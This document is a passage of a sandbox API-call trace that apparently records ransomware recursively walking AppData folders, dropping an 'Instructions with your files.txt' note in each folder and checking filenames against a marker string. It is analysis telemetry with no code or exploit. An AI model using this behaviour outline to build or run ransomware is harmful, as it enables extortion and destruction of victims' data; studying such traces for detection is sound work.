[0132.231] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.231] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.231] CloseHandle (hObject=0x114) returned 1
[0132.231] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.231] GetProcessHeap () returned 0x810000
[0132.231] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.231] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
[0132.231] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned 59
[0132.231] GetProcessHeap () returned 0x810000
[0132.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.231] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*") returned 61
[0132.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="Ȭ癙䯈\x86翿")) returned 0xffffffff
[0132.231] GetProcessHeap () returned 0x810000
[0132.231] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.231] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0
[0132.231] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Instructions with your files.txt") returned 67
[0132.231] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.232] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.233] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.233] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.233] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.233] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.233] CloseHandle (hObject=0x110) returned 1
[0132.233] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.233] GetProcessHeap () returned 0x810000
[0132.233] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.233] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1
[0132.233] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow") returned 37
[0132.233] GetProcessHeap () returned 0x810000
[0132.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.233] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\*") returned 39
[0132.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.234] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\.") returned 39
[0132.234] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.234] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\..") returned 40
[0132.234] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
[0132.234] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned 47
[0132.234] GetProcessHeap () returned 0x810000
[0132.234] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.234] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*") returned 49
[0132.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.235] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\.") returned 49
[0132.235] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.235] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.235] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\..") returned 50
[0132.235] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.235] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1
[0132.235] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned 64
[0132.235] GetProcessHeap () returned 0x810000
[0132.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.235] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*") returned 66
[0132.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.235] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\.") returned 66
[0132.235] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.235] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.235] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\..") returned 67
[0132.235] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.235] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1
[0132.235] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 72
[0132.235] GetProcessHeap () returned 0x810000
[0132.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.235] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*") returned 74
[0132.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.236] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\.") returned 74
[0132.236] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.236] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.236] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\..") returned 75
[0132.236] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.236] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1
[0132.236] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 105
[0132.236] StrStrIW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch="SDfghjkl") returned 0x0
[0132.236] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1
[0132.236] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned 105
[0132.236] StrStrIW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch="SDfghjkl") returned 0x0
[0132.236] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 0
[0132.236] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Instructions with your files.txt") returned 105
[0132.236] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.240] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.241] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.241] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.241] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.241] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.241] CloseHandle (hObject=0x11c) returned 1
[0132.241] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.241] GetProcessHeap () returned 0x810000
[0132.241] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.241] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1
[0132.241] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned 73
[0132.241] GetProcessHeap () returned 0x810000
[0132.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.241] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*") returned 75
[0132.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.242] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\.") returned 75
[0132.242] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.242] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.242] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\..") returned 76
[0132.242] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.242] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1
[0132.242] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 106
[0132.242] StrStrIW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch="SDfghjkl") returned 0x0
[0132.242] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1
[0132.242] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned 106
[0132.242] StrStrIW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch="SDfghjkl") returned 0x0
[0132.242] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 0
